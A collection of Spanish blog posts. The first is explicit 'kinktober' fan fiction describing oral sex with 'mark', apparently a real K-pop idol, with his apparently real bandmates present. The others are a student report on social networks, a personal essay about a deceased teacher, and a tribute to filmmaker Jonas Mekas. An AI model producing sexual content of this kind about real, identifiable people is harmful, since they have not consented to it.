#(al menos uno diario a partir de hoy :p)

[a-little-dexth]

kinktober | mark

género: smut (novio!mark + estimulación accidental)

palabras: +1,6k.

notas de la autora: ya no voy a volver a decir que voy a hacer mis escritos más cortos porque no lo cumplo, hahsha, pero anywaysss, espero disfruten estoooo, tenía muchas ganas de escribir hace tiempo algo con este tema y mark me da muuuchas vibes de excitarse sin que su pareja lo haga a propósito sooo, aquí un escrito más del kinktober uwu

mark realmente no entendía qué era lo que pasaba con él ese día.

podría culpar a su edad, claro; al final todavía era joven y de repente sus hormonas lo dominaban, pero lo que sentía ahora mismo era, incluso para él, demasiado.

la mañana había comenzado como cualquier otra para él, aunque sintiéndose especialmente feliz porque después de tanto tiempo de no poder verte por las promociones del último comeback y tus deberes, por fin irías a visitarlo a los dormitorios, así que luego de desayunar con los chicos y recordarles que pasarías la tarde con ellos, había empezado a contar los minutos que faltaban para que llegaras.

“¡markie!”, te arrojas hacia sus brazos en el momento en que tu novio abre la puerta para poder fundirte con él en un abrazo apretado y colocas tu rostro en el espacio de su cuello, respirando hondo y disfrutando del olor de su colonia. “no sabes cuánto te extrañé”.

“yo también te extrañaba tanto, t/n”, mark se separa de ti luego de darte un suave beso en los labios y es entonces que puede observarte detenidamente. “oh, wow…”

no sabía si era por todo el tiempo que habían pasado separados, pero mark jura que jamás te había visto más sexy. 

estabas usando un vestido blanco que realmente te daba la apariencia de un ángel ante sus ojos porque de alguna manera parecía que lo habían hecho exactamente a tu medida para que se ajustara a tu cuerpo a la perfección, aferrándose a cada una de tus curvas, resaltándolas de una manera que lo invitaban a tomarte justo ahí, frente a la puerta sin importar que cualquier de los chicos pudiera verlos. 

“¿estás bien, amor?”, hablas resistiendo la risa al verlo pasmado frente a ti. “oh, ¡hola, chicos!”.

avanzas para saludar a los compañeros de grupo de tu novio mientras él sólo gira en su lugar, siguiendo el olor de tu fragancia que ibas dejando al caminar, pero se arrepiente al instante cuando sus ojos inmediatamente se centran en tu trasero. mark muerde su labio inferior y camina a la sala donde ya están todos, pidiendo al cielo que su erección no se haga presente en las próximas horas.

lamentablemente, aquello no se había cumplido y ahora estaba con un cojín sobre su entrepierna y sin poder separar la vista de la piel expuesta de tus piernas que mantenías cruzadas mientras hablabas de quién sabe qué con sus amigos.

“no sabía que había de este sabor”, de repente la atención de mark vuelve a estar presente en la conversación cuando sacas de la envoltura una paleta congelada, abriendo los ojos tan grande como puede cuando ve la forma fálica en ella, ahogándose con su propia saliva cuando ve que te la llevas a la boca. “dios, mark, ¿estás bien?”

“s-sí, lo siento…”, tu novio habla y les dirige una sonrisa esperando que no le hagan ninguna pregunta o se den cuenta de lo que estaba pasando, aunque cuando donghyuck lo observa con los ojos entrecerrados y una sonrisa burlona sabe que está jodido.

“bueno, t/n, ¿por qué no pruebas la paleta? creo que te gustará”, donghyuck te dice de manera casual pero su mirada se mantiene fija en mark, disfrutando de su rostro nervioso cuando vuelves a llevar la paleta entre tus labios.

“mierda…”, tu novio se pierde en tus movimientos cuando ve tu lengua salir y apoyas la paleta en ella para después atraparla entre tus labios y la chupas, sacándola de tu boca después para asentir en dirección a donghyuck, diciendo que de verdad estaba rica.

mark observa absorto la punta de la paleta ahora brillante gracias a tu saliva y después analiza el rostro de cada uno de sus amigos, imaginando que quizá todos habían entendido la connotación sexual en tus acciones y estaban tan nerviosos como él, pero al parecer era el único mal pensado ahí porque todos lucían completamente tranquilos; incluso donghyuck que ahora se estaba riendo de algo que había dicho taeil.

“amor, ¿pasa algo? desde que llegué estás muy raro…”, mark gira el rostro de nuevo hacia ti cuando tu escucha susurrar a su lado, distrayéndose de nuevo cuando colocas una de tus manos sobre su muslo.

“quiero follarte ahora mismo”, tus ojos se abren en sorpresa al escucharlo e incluso él se sorprende de sus palabras, pero realmente se sentía sobrepasado por sus emociones y necesitaba tenerte para él.

“pero todos están aquí…”, tu voz sale todavía más baja porque no quer��as que nadie los escuchara aún si ya todos estaban demasiado concentrados en sus propias conversaciones entre ellos.

“bueno, bebé, eso debiste de haber pensado antes de venir aquí luciendo como un jodido ángel, ¿sabes lo mucho que he estado resisitiéndome para no arrancarte este vestido enfrente de todos?”, mark pasa uno de sus brazos por detrás de tu cuello y te atrae más cerca de él, susurrando las palabras directamente en tu oído mientras reparte besos húmedos detrás de tu oreja. “y lo que acabas de hacer con la paleta… mierda, como me hubiera gustado que fuera mi pene”.

un pequeño gemido abandona tus labios al escucharlo hablar de esa manera y sientes ya tus bragas comenzar a humedecerse.

“tu pene sabe mucho mejor”, tu novio te observa y puedes sentir un calor invadirte, estando segura que esa frase ha ocasionado algo en él.

“iremos a la habitación”, es todo lo que dice mark mientras prácticamente te lleva jalando a su lado, luciendo más ansioso que nunca.

no espera ni siquiera que cierres la puerta cuando te recarga contra ella, atacando tus labios en un beso descuidado pero lleno de hambre, haciéndote derretir ante sus tacto porque, sin intentarlo o pensar en ello, lo habías vuelto completamente loco por tenerte sin importarle ya que sus amigos pudieran escucharlos.

“¿te gusta sentir cómo me pusiste, bebé?”, mark menciona luego de romper el beso al sentir una de tus manos rozar su erección, respirando de manera entrecortada cuando aprietas su pene que ya estaba más que sensible.

“si esto fue mi culpa entonces debería ayudarte, ¿no?”, dices encima de sus labios y vuelves a besarlo rápidamente, poniéndote de rodillas después para comenzar a complacerlo.

“eres la única que logra ponerme así”, mark te observa desabotonar sus jeans y bajar el cierre de los mismos, bajándolos sólo un poco hasta sus muslos y creé que puede correrse al verte relamer tus labios cuando tu vista se posa en el bulto visible entre sus bóxers.

mark silba suave cuando bajas sus boxers y su pene salta frente a ti, sintiéndose aún más sensible gracias al aire en la habitación golpeando su miembro. tomas su pene con tus dos manos y lo diriges a tu boca, gimiendo sin pensarlo al sentir el peso del mismo sobre tu lengua; realmente amabas todo en tu novio y por eso siempre buscabas una manera de demostrárselo, y una de tus maneras favoritas de hacerlo era complacerlo con tu boca.

lames el presemen que ya se encontraba en la punta y entonces comienzas a mover la cabeza, llenando la habitación de los sonidos que hacía tu boca húmeda con su pene entrando y saliendo de ella de manera obscena mientras mark aprieta los labios con fuerza, tratando que ningún ruido alto saliera de ellos.

“oigan”, la voz de donghyuck se escucha fuera de la puerta seguido de dos pequeños golpes y tanto tú como tu novio se congelan en su lugar. “¿tienen hambre? vamos a pedir comida”.

aún con el miembro de tu novio sobre tu boca aprietas su muslo y le haces un además con la mano para que conteste y evitar que donghyuck intente abrir la puerta para asegurarse que siguen ahí.

“ah-ah”, sin aviso llevas su pene tan profundo como puedes dentro de tu boca y tiene que aclarar su garganta para intentar pasar desapercibido su gemido, “s-sí, saldremos en un momento”.

“no se preocupen, tómense su tiempo”, donghyuck se va riendo y entonces te permites seguir, apoyando por un momento los movimientos de tu lengua sobre la punta de su miembros con los de tu mano en la base del mismo, para después volver a introducirlo por completo en ti, atragantándote con el y ocasionando una ola de vibraciones recorrer por el pene de tu novio, quien lleva una de sus manos hasta la parte trasera de tu cabeza.

“mierda, sí”, gimes de nuevo y mark mueve sus caderas hacia adelante, presionando tu cabeza hacia él y tú sólo lo dejas hacerlo mientras que con una de tus manos comienzas a masturbarte al observarlo completamente absorto en su propio placer. “tu boca siempre me toma tan jodidamente bien, como si estuviera hecha para complacerme”.

te sonrojas ante sus palabras y aumentas el propio movimiento de dos de tus dedos sobre tu clítoris, enfocándote en respirar por la nariz mientras dejas a mark follar tu boca a su antojo, inundándolo de placer cada vez que tú gemías.

cuando se corre dentro de tu boca y su semen golpea tu garganta sin avisarte, tú lo haces también entre tus dedos. mark libera la presión que mantenía sobre tu cabeza y liberas su pene mientras tragas su esencia y todavía lames lo poco que queda sobre su longitud, ganándote un gruñido de su parte cuando, de manera intencional, bombeas la punta de su pene con tu boca para sobreestimularlo.

“eso fue increíble”, dice mientras te ayuda a levantarte y toma entre su boca tus dedos para chupar tus líquidos que corrían sobre ellos. “aunque todavía quiero follarte porque si tu boca se sintió tan bien, no me imagino el placer que me dará estar encima de ti, bebé”.

[iacevedobananitadolca]

Redes Sociales

Trabajo hecho por: Nicolás Sandor, Federico Caig, Máximo Tesolin e Iñaki Acevedo

Instagram

Instagram es una aplicación gratuita para compartir fotos con la que los usuarios pueden aplicar efectos fotográficos como filtros, marcos y colores y compartir las fotografías en diferentes redes sociales. Esta red empezó cuando Kevin Systrom y Mike Krieger desarrollaron un proyecto de fotografía para móvil. El producto fue lanzado en el Apple App Store el 6 de octubre de 2010. Después de varias actualizaciones en sus dos años de funcionamiento, y el lanzamiento de la versión para Android, en abril de 2012 se anunció la compra de la compañía por Facebook, comprada por mil millones de dólares. En diciembre de 2010, Instagram tenía ya un millón de usuarios registrados, en marzo 2012, Instagram anunció que había alcanzado la cifra de 27 millones de usuarios registrados y a partir de ahí llego a los 100 millones de usuarios en setiembre de 2012, apenas medio año después. La función principal de la aplicación es poder compartir historias (fotografías y vídeos con una duración de 24 horas), fotografías y vídeos con otros usuarios. Está disponible para dispositivos Android, iOS y Windows 10. Instagram también posee un medio de comunicación privado para hablar llamado Instagram Direct, y una función llamada Historias donde todas las personas pueden publicar fotos y vídeos temporales a su perfil,  con una duración máxima de permanencia de 24 horas; que también se pueden guardar en el perfil permanentemente para que puedan ser vistos, como «Historias destacadas». Las contraprestaciones que dan los usuarios a cambio son permitir a la app poder pasar publicidad ante ellos, que empresas terceras utilicen nuestras fotografías o comentarios en campañas de publicidad, pagando por ello a Instagram sin que el usuario sea remunerado y que los contenidos publicados en Instagram (y la información asociada a los mismos) pueden ser compartidos con Facebook, anunciantes y empresas afiliadas. Nuestras experiencias personales con la aplicación son varias.

Fede: la empecé a usar en al año 2015 y hoy es la única red social que utilizo. La utilizo para ver fotos, videos, noticias de las cosas que me interesan y además la utilizo para hablar con mis amigos y pasarnos publicaciones.

Iñaki: Esta se podría decir que fue mi segunda red social junto a Twitter. Instagram lo comencé a usar en el año 2015 y ya no le tuve que pedir permiso a mis padres para crearme una cuenta. Desde ese año hasta el día de hoy es la red social que más utilizo, tanto en el celular como en la computadora. La uso para publicar fotos, publicar historias, ver publicaciones de personas que sigo, para informarme, para hablar con amigos y conocer gente.

Máximo: Es una de las que más utilizo, la empecé a usar hace unos 3 años o menos, ya que no tenía un celular para poder usarlo, es muy entretenida aunque ahora se está copiando de una aplicación y me está cansando, subo historias sobre noticias deportivas y a veces por justicia de casos o etc.

Nicolás: Es la red social que más utilizo a pesar de que no subo publicaciones. La utilizo para ver noticias relacionadas al futbol, memes, entre otras cosas. La empecé a utilizar hace casi 6 años y me es de gran utilidad.

Facebook

Facebook es una compañía de origen estadounidense que ofrece servicios de redes sociales y medios sociales en línea con sede en Menlo Park, California. Su sitio web fue lanzado el 4 de febrero de 2004 por Mark Zuckerberg, junto con otros estudiantes de la Universidad de Harvard y compañeros de habitación, Eduardo Saverin, Andrew McCollum, Dustin Moskovitz y Chris Hughes. Está disponible en español desde febrero de 2008.

Se puede acceder a Facebook desde una amplia gama de dispositivos con conexión a Internet, como Computadoras portátiles, tablets y teléfonos. Una vez registrados, los usuarios pueden crear un perfil personalizado que indique su nombre, ocupación, escuelas, etc. Los usuarios pueden agregar a otros usuarios como «amigos», intercambiar mensajes, publicar actualizaciones de estado, compartir fotos, vídeos y enlaces, usar varias apps y recibir notificaciones de la actividad de otros usuarios. Además, los usuarios pueden unirse a grupos de usuarios de interés común organizados por lugar de trabajo, escuela, pasatiempos u otros temas, y categorizar a sus amigos en listas. También proporciona opciones para reportar o bloquear a personas 

Los usuarios dan varias contraprestaciones a cambio del servicio de la red social, entre ellas están que cuando subimos una foto a Facebook, el servicio tiene derecho de usarla y puede mostrar nuestra foto de perfil en el widget que se usa en una web o usar un vídeo subido en otra sección aunque, eso sí, la visibilidad de los contenidos depende de nuestra propia configuración de privacidad, que al registrarnos estamos aceptando tácitamente que Facebook use nuestra foto de perfil, nuestro nombre o nuestros contenidos para sus campañas publicitarias o algoritmos de segmentación; de esta forma, usan nuestros datos para modelar la publicidad que vemos o la que puedan ver otros usuarios Que aunque eliminemos un contenido de Facebook y que nos avise que aunque borremos algo puede que no desaparezca del todo porque, como buena empresa tecnológica, guarda copias de seguridad de sus bases de datos y contenidos y los retiene durante un tiempo para poder recuperar información. Por tanto, aunque borremos algo, lo más seguro es que Facebook lo siga guardando. Nosotros también tuvimos experiencias personales con esta red social.

Fede: fue mi primera red social que tuve lo que me acuerdo era que yo lo usaba para jugar y para poder comunicarme con mis amigos ya que era muy chiquito y no tenía celular. Hoy en día no la utilizo más porque ya no hace falta porque tengo celular.

Iñaki: Esta fue mi primera red social y la empecé a utilizar por el año 2012. Para poder usarla le tuve que pedir permiso a mis padreas ya que yo era muy chico y ellos me ayudaron a crearla. Yo quise crearme una cuenta porque muchos de mis amigos tenían Facebook. Al principio yo solo la utilizaba para jugar a los jueguitos que aparecían por ahí, para publicar algunas cosas y para ver publicaciones de otras personas, siempre con la vigilancia de mis padres. Esta red social la seguí utilizando durante 3 años y fue la única que tuve durante ese entonces, dándole el mismo uso que antes. Desde el año 2015 que ya no utilizo Facebook, solo la tengo descargada en el celular para registrarme a otras redes sociales, pero ya no le doy el mismo uso que al principio.

Máximo: La empecé a utilizar a mediados de 2012, al principio no la podía utilizar ya que era muy chico y mis padres consideraban que era peligroso pero luego me dejaron porque sólo la iba a usar para jugar los juegos de Facebook como dragón city, en el día de hoy ya no la utilizo más, aunque mis familiares me siguen etiquetando en fotos y sorteos.

Nicolás: nunca use la aplicación ya que cuando era muy chico mis padres no me dejaban utilizarla y con el tiempo perdí el interés en esa red social.

TikTok

El nombre original de la aplicación es Douyin que significa “sacudir la música” en chino. Sin embargo, fuera de China recibe el nombre de TikTok, y se encuentra disponible tanto para iOS como para Android.

La aplicación fue lanzada en septiembre de 2016, sólo tardó 200 días en ser desarrollada, por lo que parece que tenían las ideas bastante claras. Su crecimiento fue muy rápido, porque si según portales chinos, el pasado febrero la red socia tenía un total de 66 millones de usuarios activos diarios, en octubre del 2018 otras fuentes apuntan a que ya ha superado la barrera de los 130 millones de usuarios.

En cuanto a su funcionamiento, TikTok permite crear, editar y subir videoselfies musicales de 1 minuto, pudiendo aplicarles varios efectos y añadirles un fondo musical. También tiene algunas funciones de Inteligencia Artificial, e incluye efectos especiales, filtros, y otras características

Todo ello se ofrece de una forma sencilla, y con opciones de edición fáciles de utilizar para todos. Además, la aplicación incluye otras funciones como la posibilidad de enviar mensajes, votaciones, listas de amigos y un sistema de seguidores y seguidos. Detrás de la aplicación está la empresa tecnológica china Bytedance.

Fede: Nunca la utilicé porque no me llama la atención.

Iñaki: Esta red social la comencé a utilizar este año y se convirtió rápidamente en la red social que más utilizo junto a Instagram. Ya la conocía desde el año pasado pero nunca la descargué, solo veía TikToks desde otra red social. Me hice una cuenta a principios de la cuarentena ya que quería probar algo nuevo y era una aplicación que se estaba haciendo muy de moda. Esta aplicación solo la utilizo para ver tiktoks de otras personas y para compartírselas a mis amigos. Todavía no hice ningún tiktok propio ya que no me gusta filmarme bailando o haciendo cualquier cosa. Por momentos pienso en desinstalar esta red social de mi celular ya que la utilizo y me distraigo mucho viendo TikToks.  

Máximo: a mi gusto es la que más uso y es una de las más adictivas ya que son videos cortos y no te das cuenta de cuento puedes estar, a veces quiero desinstalar pero no lo hago, es muy entretenida. No hago tik toks solo veo.

Nicolás: es una aplicación que utilizo bastante pero no para grabarme sino para ver memes. Me la recomendaron unos amigos y al instante la aprendí a usar y me gustó mucho. Es la segunda red social que más utilizo.

Twitter

Es un servicio de microblogueo, con sede en San Francisco, EE. UU.  Desde que Jack Dorsey lo creó en marzo de 2006, y lo lanzó en julio del mismo año, la red fue ganando popularidad mundial y se estima que tiene más de 300 millones de usuarios, generando 65 millones de tuits al día. Ha sido denominado como el «SMS de Internet».​

La red permite enviar mensajes de texto plano de corta longitud, con un máximo de 280 caracteres (originalmente 140), llamados tuits​  que se muestran en la página principal del usuario. Los usuarios pueden seguir a los tweets de otros usuarios a esto se le llama seguir y a los usuarios se les llama seguidores, Por defecto, los mensajes son públicos, aunque se pueden difundir por privado mostrándose únicamente a unos seguidores determinados. Los usuarios pueden twitear desde la web del servicio, con aplicaciones oficiales externas (como para teléfonos inteligentes), o mediante el Servicio de mensajes cortos (SMS) disponible en ciertos países.

Fede: No la utiliza porque no le llama la atención.

Iñaki: Esta red social la comencé a utilizar a la par que Instagram. También fue una red social que me registré por mi propia cuenta sin la autorización de mis padres. Al principio no sabía bien como utilizar Twitter, solo me hice una cuenta porque era una red social que la empezaba a usar mucha gente y tenía curiosidad. Por esto no la utilicé mucho al principio. Hasta el día de hoy Twitter lo uso en mi celular y en mi computadora pare ver publicaciones de personas que sigo, informarme sobre las cosas que me gustan y opinar sobre alguna que otra cosa.

Máximo: No la utiliza.

Nicolás: Utilizo Twitter para ver noticias que no me entero por televisión. A pesar de que no sigo a nadie, me sirve para informarme de las tendencias del día. La comencé a utilizar este año y la reviso varias veces por día sin publicar nada sino viendo comentarios y noticias.

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En nombre de alguien que ya partió.

Hace un tiempo tuve un profesor de Educación Física, que sinceramente, era esa clase de profesores que nadie quería ver llegar, recuerdo que todos los días, mis compañeros de clase decían cosas como: ‘‘Que no venga hoy por favor.’’’’Nojodas, otra vez, clase con él’’ ...Poco después se convirtió también en Coordinador del Colegio donde estudiábamos, así que, ya no podíamos desear que no viniera, la mayoría del tiempo él ya estaba allí. Hice lo imposible por no estar en la clase. De hecho, él comenzó a evaluarme teóricamente, así que, solo entraba para ver cómo los demás hacían ejercicio, (y era muy, en serio muy divertido) Pero, con el tiempo, éste profesor empezó a cuestionarme todo lo que hacía, (y en parte sí, hice cosas para molestarlo) pero, nada realmente malo. 

Recuerdo que un día, me encontraba sola al final de algún pasillo, escuchando música. Un viejo amigo súper idiota pero, que jamás olvidaré, se sentó en mis piernas, (Cosa que nunca le he permitido a nadie, pero, él era diferente, porque sabía que sus intenciones no iban más allá, él solo lo hacía para fastidiarme) y a pesar de que, no tratábamos mucho ni muy a diario, teníamos una especie de conexión, como un simple cruce de palabras que nadie entendía y que para nosotros significaba algo, Andy era profundo, aunque pretendía parecer desinteresado y despreocupado, y cuando compartíamos un momento, no importa cuán poco fuera, sabía que era real...Pero ese día, los niños de la primaria estaban en su hora de recreo, y uno de ellos, nos vio, (al parecer desde su perspectiva parecía que Andy y yo nos besábamos) el punto es que, el profesor me gritó en pleno pasillo (abarrotado de gente) dijo un montón de razones acerca de porqué no debería haberme besado con Andy quién por cierto, era menor que yo, sin darme la oportunidad de explicarle lo que había pasado. 

Desde ese día, comencé a llevarle la contraria en absolutamente todo. Antes, no me caía bien, ahora menos. En la época del ‘’Razonamiento Eléctrico’’ que hubo aquí en mi país, cada cierto tiempo, cortaban la electricidad, y él decidió que lo mejor era que subiéramos todos a la cancha (Era un espacio más o menos grande con techo) pero, ajá, yo me opuse. ¿Por qué? Pues, para empezar, el hecho de tener que compartir ese espacio con todos los retrasados del Colegio no era para nada algo que me hiciera ilusión, así que me escondía en el pasillo más oscuro detrás de unos bancos a escuchar música, escribir o leer algún libro, pero, un día, me sentía demasiado mal para esconderme, así que, me senté igual (al final del pasillo), pero, a plena luz. Se acercó a mí con rostro rotundamente enfadado, y me preguntó porqué no había subido. Lo miré. Supe que la cólera emanaba de mi, porque su semblante fue abandonando su estado natural. Luego agregué que no veía el caso a subir las escaleras, de todos modos, quedaban solo 15 minutos. Aparté la mirada, y tiempo después por fin se fue. 

Y así hubieron más momentos, sé que lo sacaba de quicio, pero, él también a mí. Durante el año escolar, estaba acostumbrada a llevar suéters, pero él hizo que ‘’El reglamento del colegio se respetara’’y se volvió a implementar la regla de que nadie podía llevar suéter de otro color que no fuera azul marino. Para su mala suerte, el que tenía de ese color, me lo robaron un muy mal día, así que me rehúse a seguir las normativas. Allí comenzó otra guerra. Me halaba de la manga todos los benditos días y sabía que tenía dos opciones: Quitarme el suéter, o aguantarme sus gritos. En ocasiones, me lo quitaba, en otras, no. Y en el último año (que estudié allí), se les ocurrió la genialísima idea de dividir nuestra sección. Así que la mitad de mis compañeros estudiaban en otro salón, (y debo puntualizar que, me pusieron con ésa mitad con la que no hablaba y, con un montón de nuevos que destruían mi paz) Fue así como introduje mi reclamo, que de nada sirvió, él junto con la señora horrenda (directora) me negaron el cambio,así que, tuve que quedarme y convivir con esas horribles bestias todo el año. Hubo un largo tiempo en el que noté agotamiento en los ojos de aquel profesor, ya no se interesaba en molestarme por los suéters, ni porque no asistía a clases, ya no me reclamaba. Uno de esos días, llevé un suéter beige, me detuve junto a él, creo que para preguntarle algo acerca de un trabajo, y entonces me dijo: ‘’Tu siempre me vas a llevar la contraria, ¿Verdad?’’ 

A partir de ese instante, dejé mi desenfreno por llevar suéter. Al fin y al cabo, ni que el Colegio fuera Narnia, así que, ya no encontraba motivos para llevar ninguno y, si lo hacía, tenía que ser especialmente uno que se acercaba mucho al color azul marino. Solo porque me quedaba bien...

Para el siguiente año, me cambiaron de colegio. Me tocó volver a empezar, volver a encontrar un rincón en el cuál poder dedicarme a escribir, a leer, a ser yo misma. Muchas cosas habían cambiado, el año escolar anterior, me había demostrado que ni siquiera tenía amigos, y éste, me estaba demostrando que tal vez, los podría tener. Y me tocó extrañar profesores que no creí que podría extrañar. Hace unos meses, leí una publicación en el Facebook de una de esas compañeras que maldecía a dicho profesor, casi todo el tiempo y decía que él había muerto y, que lo lamentaba, que éste siempre sería su profesor favorito. Una parte de mí, quiso arruinarle la vida haciéndola sentir bien mal por haberlo maldecido mucho y ahora, actuar como si lo amara con toda el alma, pero, luego recordé que las personas así, nunca se sienten suficientemente mal. Entonces, me abandoné a mi shock mental. La última vez que lo vi, fue en un banco. Estaba acompañando a una amiga y él entró. No quería saludarlo, ni que él me reconociera, me reí traviesamente mientras lo miraba desde atrás, luego me ganó el remordimiento y le saludé, para mi sorpresa, me devolvió el saludo como si me guardara algo de afecto, preguntó por mi mamá, por mis hermanas, y yo pregunté por su salud, (porque era diabetico) él ya no era el mismo; caminaba lento, hablaba lento y bajito, como si le costara un mundo emitir sonido de sus palabras, no me miraba, cerró su bolso, acabó su despedida con un (que estés bien) y creo que un (nos vemos) sonreí hacia mi amiga y bromeamos sobre el encuentro, sin sospechar que sería el último. 

Una parte de mi siempre se sentirá mal por no haber hecho algo más. Pude haberlo acompañado hasta la puerta giratoria, girar con él, salir con él, disculparme por haber sido tan estúpida con él. Pero, en vez de eso, me quedé ahí sintiéndome extrañamente mal,sin dejar de bromear, aún sabiendo que en cualquier momento, alguno de los dos podría haberse desplomado al suelo por cualquier motivo, porque la muerte es así. Y ahora estoy aquí, escribiéndolo, escribiéndole a otras personas para que no cometan el mismo grave error, la equivocación de pensar que puedes dejar pasar todos los momentos y que vendrán más, hay que saber aprovechar las oportunidades. Y por eso escribo esto, para crear conciencia, en nombre de alguien que ya partió.

[compocine]

Jonas, Jonas, Jonas

Publicado el 22/03/2019 en Revista Invisibles  

por Chan Tejedor

La mañana del pasado 23 de enero, dejó este mundo el gran Jonas Mekas a los 96 años. Artista multifacético, poeta, cineasta, escritor, ensayista, archivista, padre del cine de vanguardia americano. Junto a su hermano Adolfas Mekas, crearon la revista especializada Film Culture y elAnthology Film Archives. Amigo de Lennon, de Ginsberg, de Brakhage, lituano de nacimiento y americano por adopción, fue sin duda una figura fundamental del campo intelectual newyorkino del siglo XX.

LITUANIA / PARAÍSO

Cuéntame, Musa, la historia del hombre de muchos senderos... Su origen, su infancia y su paraíso. No, no es arbitraria la Odisea porque en Lost, Lost Lost (1976), Jonas Mekas no deja de invocar una y otra vez el espíritu de Ulises, el desterrado.

El año era 1949, Jonas y Adolfas a la semana de desembarcar en New York, pidieron dinero prestado para comprar la que fuera su primera cámara Bolex. Las imágenes no mienten, nunca mienten. “Todo esto fue real” recita Jonas en As I Was Moving Ahead Occasionally I Saw Brief Glimpses of Beauty (2000), y efectivamente las imágenes capturaron a los jóvenes hermanos Mekas, sonriendo en blanco y negro y comenzando otro capítulo de la larga odisea que había empezado cuando emigraron de Lituania en 1944 tras la ocupación rusa de 1940. En el camino, fueron detenidos en Alemania y tomados como prisioneros en campos de trabajo por ocho meses hasta que lograron escapar. Los siguientes cinco años anduvieron por Flensburg, Hamburgo, Wiesbaden, Kassel... Incluso Jonas estudió Filosofía durante dos años en la Universidad de Mainz.

Fue en ese período errante de cinco años donde comenzaron a formar su ojo cinéfilo y crítico. Veían lo que proyectaban de acuerdo a qué frente estuviera ocupando la zona en la que encontraban refugio, desde Tarzán hasta Cocteau, pasando por películas realistas alemanas, hoy poco recordadas pero que eran de las favoritas de Jonas, films de Helmut Käutner, Josef von Báky o Wolfgang Liebeneiner.

Para cuando llegaron a New York, Jonas apenas hablaba inglés aunque sí lo leía, de hecho una de las lecturas en el barco que lo llevó a América fue Adiós a las armas. Practicaba inglés con Hemingway, uno de sus autores predilectos, porque le gustaba su forma sencilla y directa de escribir. En la larga transición de adaptación a la vida intelectual newyorkina, Jonas fue incorporando lentamente el inglés a sus diarios al punto de que para la década del ‘60 sus apuntes, diarios y guiones, eran exclusivamente en inglés. Todo menos la poesía “No creo que nadie pueda escribir poesía en otro lenguaje más que el materno”, dice Jonas en una entrevista que le hizo Scott McDonald para la revista Octubre (1).

BOLEX / LAS PALABRAS

El Jonas poeta es el Jonas lituano: “En Lituania me conocen como poeta, en Europa como cineasta y en Estados Unidos como archivista”. ‘Poeta’ en el diccionario Mekas es lo opuesto a ‘político’; el cine de vanguardia lo opuesto a Hollywood, los pequeños países en desarrollo lo opuesto a las grandes naciones imperialistas. Es que en Mekas hay una poética no sólo de lo pequeño, de lo cotidiano sino también del fragmento de la obra que no tiene porte teleológico “Nada pasa en este film” repiten las placas de As I was moving ahead… Sin embargo, a partir de la nada y de la recopilación -primero- de sinsignos como los haikus de Lost, Lost, Lost o biográficos como en Walden (1969) y -segundo- de qualisignos puros como la grumosidad del 16 mm, el glow de los copos del agua, las marcas del film propiamente dicho, los rayos de sol entrando en la ventana del hermoso departamento del Soho en el que vivieron los Mekas durante 30 años hasta desintegrar su etapa fílmica por la digital.

Fueron los qualisignos, la vanguardia misma, que ya exaltaban con Adolfas cuando comenzaron a coordinar proyecciones mensuales en 16 mm durante la década del 50. Películas como Abstract in Concrete (1952) de John Aravonio que es un compilado de reflejos nocturnos en pisos mojados de New York. Películas que no tenían como pilar fundamental la narrativa sino el lenguaje puro de luz y movimiento. De ese núcleo cinéfilo, en 1954, Adolfas y Jonas crearon una sociedad llamada Film Forum y para el mismo año, saldría el primer número de la creación de los hermanos Mekas: la revista Film Culture editada por Jonas y con colaboraciones de Rudolph Arnheim, Peter Bogdanovich, P. Adams Sitney y Stan Brakhage entre otros, de la cual se imprimieron 79 números entre 1954 y 1996. 

SOHO / LA BELLEZA

En el 2004 conocí la obra de Mekas en la sexta edición del BAFICI, que le dedicó una retrospectiva gloriosa. Desde entonces, Mekas es sinónimo de un estado del alma de plenitud, felicidad, belleza y nostalgia porque su filmografía me flechó y estoy convencida de que mi vida cambió gracias a ella. Mi apertura a su obra fue As I was moving ahead… un compilado de poco más de 10 años en 5 horas, un trabajo de edición titánico que pudo llevar a cabo gracias a un subsidio con el que logró consumar una idea que hacía tiempo le rondaba en mente. Se trata de una obra maestra total de la historia de sus filmaciones familiares, un En busca del tiempo perdido sólo que el tiempo está allí, en el film, en las memorias capturadas para siempre: el nacimiento de sus hijos -Oona y Sebastian- en film, miles y miles de flores, salvajes o en jarrones, en film, amigos e intelectuales de la escena newyorkina de los 70s en film, dinastías de los gatos de la familia -Duffy, Sunshine- en film. Y sobre todo, la belleza. La noción de paraíso a partir de la nada. Nada más que el devenir cotidiano. Todavía creo que es una buena película para adentrarse a su filmografía porque está cronológicamente justo en el medio de su proceso multifacético, cuyo material es de los 70s y principios de los 80s pero su estreno fue en el año 2000. Una película intimista que se ubica entre la filmografía cercana a la protesta de la primera década en América y el diario digital de los 2000s en el que audio e imagen se encuentran juntos para reflexionar in situ sobre lo mostrado.

Jonas le regaló otra belleza a la década del 70: la creación del Anthology Film Archives, un lugar destinado a la preservación, proyección y visualización del cine independiente y de vanguardia.

BROOKLYN / EL SER

Después de 30 años de vivir en el Soho con su familia, Jonas volvió a Brooklyn, al mismo Brooklyn que lo había acogido a él y Adolfas ni bien llegaron a New York. Los puentes que separan Manhattan de Brooklyn también funcionan como metáforas de un cambio de perspectiva en su obra. Obra y vida en Mekas son sinónimo. Una vida entera filmando y documentando a cada paso, pedazos de registro de lo real. Él mismo se ha definido como filmador y no como realizador cinematográfico. Es muy emotivo comprometerse con la obra de Jonas como quien entra en una enciclopedia infinita con un lenguaje especialmente diseñado por él y por su entorno a través de todos los años en los que se codeó con artistas y colegas. De más está decir que su extensa obra, sus proyectos y colaboraciones son prácticamente inabarcables para una nota conmemorativa y que todo vale la pena: desde las Reminiscencias de un viaje a Lituania hasta la Correspondencia con José Luis Guerín, un ejemplo de humanismo en los albores del siglo XXI, o el diario digital de los 365 videos que filmó en el 2007 y que pueden verse en su web.

La vejez, dentro de su magnífica vida lo encontró yendo a festivales, editando libros, exposiciones de fotografías y participaciones en eventos de toda índole. Su trabajo más importante de los últimos años, consistió en recaudar fondos para la remodelación del Anthology Film Archives, la construcción de una biblioteca en el último piso y un bistró francés donde “pueda conseguirse buen café” . De todo eso y mucho más, habla con Jim Jarmusch en un diálogo publicado en Another Mag.

